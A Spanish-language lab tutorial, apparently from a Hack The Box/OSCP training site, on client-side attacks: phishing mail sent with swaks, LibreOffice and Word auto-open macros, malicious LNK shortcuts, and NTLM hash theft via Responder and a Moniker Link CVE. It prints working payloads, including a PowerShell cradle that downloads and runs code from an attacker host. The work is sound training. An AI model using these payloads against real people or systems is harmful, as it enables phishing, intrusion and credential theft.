Ataques client-side en HTB: macros, ficheros LNK y correos de phishing

Cómo conseguir una shell cuando alguien abre tu fichero: detectar a la víctima, enviar correos con swaks, macros de LibreOffice y Word, accesos directos LNK y robo de hashes NTLM.

· 6 min de lectura

Algunas máquinas no tienen un servicio vulnerable: tienen un usuario simulado que abre lo que le mandas. Un bot revisa el correo cada minuto, abre los documentos de una carpeta compartida o hace clic en los enlaces. Son los ataques client-side, que la OSCP incluye en su temario y que en Hack The Box aparecen sobre todo en máquinas Windows.

La clave es saber reconocer cuándo una máquina espera esto y probar en pasos pequeños: primero que alguien hace clic, después que se ejecuta algo, y solo al final la shell.

Cuándo sospechar

  • Hay un SMTP abierto (puerto 25 o 587) y la web menciona correos (envíanos tu CV, contacta con soporte).
  • Un formulario o una carpeta compartida pide documentos (informes, currículums, plantillas) y dice que alguien los revisará.
  • Un correo o una nota de la máquina habla de "revisar adjuntos", "probar macros" o una versión concreta de Office o LibreOffice.

Requisitos

  • swaks para enviar correos: sudo apt install swaks.
  • LibreOffice en tu máquina para documentos .odt/.ods; para macros de Word necesitas Office en una VM de Windows.
  • nc, python3 -m http.server y Responder.
  • Una reverse shell de PowerShell. Los generadores de la web te la dan hecha: reverse shells.
  • Para practicar: Reel, Hospital y Mailing.

Paso 1: encontrar a quién escribir

Saca nombres de la web (la página de equipo, los autores) y comprueba cuáles existen en el servidor de correo:

smtp-user-enum -M RCPT -U usuarios.txt -D megabank.com -t 10.10.10.77
10.10.10.77: [email protected] exists

Si RCPT no funciona, prueba -M VRFY o -M EXPN. Mira también los metadatos de los documentos públicos (exiftool *.docx): el campo Creator suele ser un usuario o un correo. En Reel el correo de la víctima sale así, de los metadatos de un documento del FTP.

Paso 2: comprobar que alguien hace clic

Antes de preparar un documento, manda un enlace a tu máquina y espera:

sudo python3 -m http.server 80
swaks --to [email protected] --from [email protected] --server 10.10.10.77 \
  --header "Subject: Informe pendiente" --body "Revisa esto: http://10.10.14.5/informe"
10.10.10.77 - - [04/Nov/2026 10:21:03] "GET /informe HTTP/1.1" 404 -

Si llega una petición, hay alguien (un bot) leyendo. El User-Agent del log te dice qué programa abre los enlaces. Así se confirma la víctima en Outdated y en Reel2.

Paso 3: preparar la carga

Usa siempre el mismo payload: PowerShell que descarga y ejecuta tu reverse shell. Codifícalo en Base64 UTF-16LE para no pelearte con las comillas:

echo -n 'IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.5/rev.ps1")' \
  | iconv -t UTF-16LE | base64 -w0

El comando final es powershell -nop -w hidden -e <base64>. En rev.ps1 pon una reverse shell de PowerShell y deja nc -lvnp 443 escuchando.

Truco

Primero manda algo inofensivo que deje rastro, como ping -n 2 10.10.14.5 o una descarga de tu servidor (tcpdump -i tun0 icmp para ver el ping). Si llega, la macro se ejecuta y cualquier fallo posterior es del payload, no del documento. Es lo que se hace en RE.

Paso 4: macro en LibreOffice (.odt / .ods)

  1. Abre LibreOffice Writer y guarda un documento vacío como informe.odt.
  2. Herramientas > Macros > Editar macros. En el árbol, elige tu documento (no "Mis macros") y crea un módulo.
  3. Escribe la macro:
Sub Main
    Shell("cmd.exe /c powershell -nop -w hidden -e <base64>")
End Sub
  1. Herramientas > Personalizar > Eventos, elige Abrir documento, pulsa Macro... y asigna Main. En Guardar en, el documento.
  2. Guarda y envíalo:
swaks --to [email protected] --from [email protected] --server 10.10.10.10 \
  --header "Subject: Informe" --body "Adjunto el informe" --attach @informe.odt

Las máquinas RE y Rabbit se resuelven con macros de LibreOffice.

Paso 5: macro en Word (.doc / .docm)

En una VM con Office: Vista > Macros, elige el documento actual en Macros en y crea:

Sub AutoOpen()
    Ejecutar
End Sub

Sub Document_Open()
    Ejecutar
End Sub

Sub Ejecutar()
    Dim c As String
    c = "powershell -nop -w hidden -e "
    c = c + "JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBO"
    c = c + "AGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4A"
    CreateObject("Wscript.Shell").Run c
End Sub

Guarda como Documento de Word 97-2003 (.doc) o .docm; un .docx no guarda macros. VBA no acepta cadenas literales de más de 255 caracteres, por eso el Base64 va troceado en varias líneas c = c + "..." (un script de Python te lo trocea).

Paso 6: accesos directos LNK y otros ficheros

Si la víctima abre lo que dejas en una carpeta compartida, un acceso directo .lnk es más sencillo que un documento. Desde PowerShell en cualquier Windows:

$s = (New-Object -ComObject WScript.Shell).CreateShortcut("$PWD\informe.lnk")
$s.TargetPath = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
$s.Arguments = "-nop -w hidden -e <base64>"
$s.IconLocation = "C:\Windows\System32\shell32.dll,70"
$s.Save()

Lo usan Mist y Ethereal. Otros formatos que aparecen en máquinas retiradas:

Formato Máquina Idea
RTF con CVE-2017-0199 Reel El RTF descarga y ejecuta un .hta
EPS con CVE-2023-36664 Hospital Ghostscript ejecuta comandos al abrir el EPS
CHM Sniper Ayuda compilada de Windows con un comando dentro
XLL Axlle Complemento de Excel que es una DLL
Extensión de VS Code Checkpoint Un .vsix con una reverse shell de Node

Paso 7: sin ejecución, roba el hash

Si no consigues que se ejecute nada, haz que el cliente se autentique contra ti. Con Responder escuchando (sudo responder -I tun0), un enlace a una ruta SMB tuya (\\10.10.14.5\x) hace que Windows envíe el hash NetNTLMv2 del usuario:

[SMB] NTLMv2-SSP Username : MAILING\maya
[SMB] NTLMv2-SSP Hash     : maya::MAILING:1122334455667788:...

En Mailing Outlook es vulnerable al CVE-2024-21413 (Moniker Link): un enlace file:///\\10.10.14.5\x!algo en el correo salta la protección y entrega el hash de maya, que se crackea con hashcat (modo 5600). Los ficheros .url, .scf y .library-ms en carpetas compartidas consiguen lo mismo; el relay de esos hashes está en NTLM relay y coerción.

Errores típicos

  • El correo se envía pero no pasa nada: el bot puede tardar uno o dos minutos. Si tras cinco no hay nada, revisa la dirección (el dominio exacto del correo) y prueba con el enlace del Paso 2.
  • swaks da Relay access denied: el servidor no acepta correo para ese dominio desde fuera. Usa el dominio propio de la máquina en --to o autentícate con --auth-user.
  • La macro no se ejecuta: no está asignada al evento de abrir o está guardada en "Mis macros" en vez de en el documento. Ábrelo tú mismo para comprobarlo.
  • Llega el ping pero no la shell: Defender o AMSI bloquean el payload. Prueba otro, sin la palabra Invoke-Expression en claro, o mira evasión de EDR.
  • Llega la petición HTTP a rev.ps1 pero no la conexión: el script tiene un error o el puerto está bloqueado. Usa el 443 o el 80, que casi siempre salen.

Y después

Con la shell de la víctima, sigue con la checklist de post-explotación. Tienes más plantillas de documentos y comandos en la chuleta de phishing.

Practícalo en máquinas reales

Máquinas de Hack The Box donde se usa la técnica. Cada ▶ salta al minuto del vídeo de IppSec donde aparece.

Phishing y documentos maliciosos 14 máquinas

Ver las 14 máquinas →

¿Ves un error o echas algo en falta? Cuéntanoslo